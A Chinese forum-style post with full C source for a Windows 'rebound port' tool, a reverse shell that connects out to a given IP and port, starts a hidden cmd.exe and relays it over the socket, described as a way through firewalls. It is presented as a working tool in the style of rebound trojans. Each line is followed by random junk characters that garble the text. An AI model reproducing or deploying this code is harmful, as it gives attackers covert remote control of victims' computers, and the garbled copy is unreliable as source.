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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 A{D];pE`  
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/* ============================== wEvVL  
Rebound port in Windows NT P me^l%M  
By wind,2006/7 |4 0`B% Z  
===============================*/ ,wAF:7'  
#include :^B1~p(?sK  
#include O[JL+g4  
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#pragma comment(lib,"wsock32.lib") `&ckZiq  
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void OutputShell(); {[?(9u7R  
SOCKET sClient; 1NA.nw.  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^sLdAC  
Cd}<a?m,  
void main(int argc,char **argv) VQ9/Gxdeo  
{ ) ahA[  
WSADATA stWsaData; Fyatd  
int nRet; IKilr'  
SOCKADDR_IN stSaiClient,stSaiServer; ^yN&ZI3P&  
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if(argc != 3) $C$V%5aA  
{ JO6)-U$7UG  
printf("Useage:\n\rRebound DestIP DestPort\n"); ok\vQs(a  
return; Q:d]imw!O  
} 0[?Xxk}s0  
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WSAStartup(MAKEWORD(2,2),&stWsaData); %S^8c  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _TQj~W<  
}l} Bo.C  
stSaiClient.sin_family = AF_INET; :emiQ  
stSaiClient.sin_port = htons(0);  Sw, +p  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ig0VW)@  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,uhb~N<  
{ EaY?aAuS:  
printf("Bind Socket Failed!\n"); ra gXn  
return; ^'{Fh"5  
} ]Wlco  
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stSaiServer.sin_family = AF_INET; eF-."1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); qHlQ+:n  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .~~T\rmI  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7CURhDdk  
{ C{xaENp  
printf("Connect Error!"); ^ EQ<SCh  
return; F8,RXlGfA[  
} ,G?WAOy,  
OutputShell(); lE(HFal0-(  
} t pQ(g%  
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void OutputShell() bI9~jWgGp  
{ TpwkD_fg  
char szBuff[1024]; Zaf:fsj>  
SECURITY_ATTRIBUTES stSecurityAttributes; jZkcBIK2  
OSVERSIONINFO stOsversionInfo; FxWSV|Z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1FL~ndJs  
STARTUPINFO stStartupInfo; LxSpctiNx  
char *szShell; !")tU+:  
PROCESS_INFORMATION stProcessInformation; 6Vnsi%{  
unsigned long lBytesRead; Q1I6$8:7  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); J$w<$5UY  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qv KG-|j  
stSecurityAttributes.lpSecurityDescriptor = 0; w(3G&11N?  
stSecurityAttributes.bInheritHandle = TRUE; Ed df2;-.  
&>W$6>@  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); $2M$?4S/T  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Nv}=L : E  
x,@B(9No  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Zbt.t] N  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '9Xu p  
stStartupInfo.wShowWindow = SW_HIDE; $$;M^WV^?.  
stStartupInfo.hStdInput = hReadPipe; /cQueUME`  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _P 3G  
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GetVersionEx(&stOsversionInfo); SaAFz&WRl  
1POmP&fI(  
switch(stOsversionInfo.dwPlatformId) }"P|`"WW  
{ b)5uf'?-  
case 1: P90yI  
szShell = "command.com"; BWv^ zi  
break; 7p16Hv7y~  
default: IT7wT+  
szShell = "cmd.exe"; J~ zUp(>K  
break; */^q{PsN  
} ;dtA4:IRZ4  
/}fHt^2H  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {{D)YldtA  
*-=(Q`3  
send(sClient,szMsg,77,0); mt+Oi70  
while(1) GxI!{oi2  
{ U} e!Wjrc  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); PI:4m%[  
if(lBytesRead) K6/Q}W   
{ CR`Q#Yi  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); RYQR(v  
send(sClient,szBuff,lBytesRead,0); t?-n*9,#S  
} 5z8d} I  
else b"uu  
{ TA`1U;c{n  
lBytesRead=recv(sClient,szBuff,1024,0); ~"&|W'he[  
if(lBytesRead<=0) break; vkx7paY_  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;!mzyb*  
} F^t DL:  
} Vvn2 Ep  
2~1SQ.Q<RY  
return; Is)u }  
}
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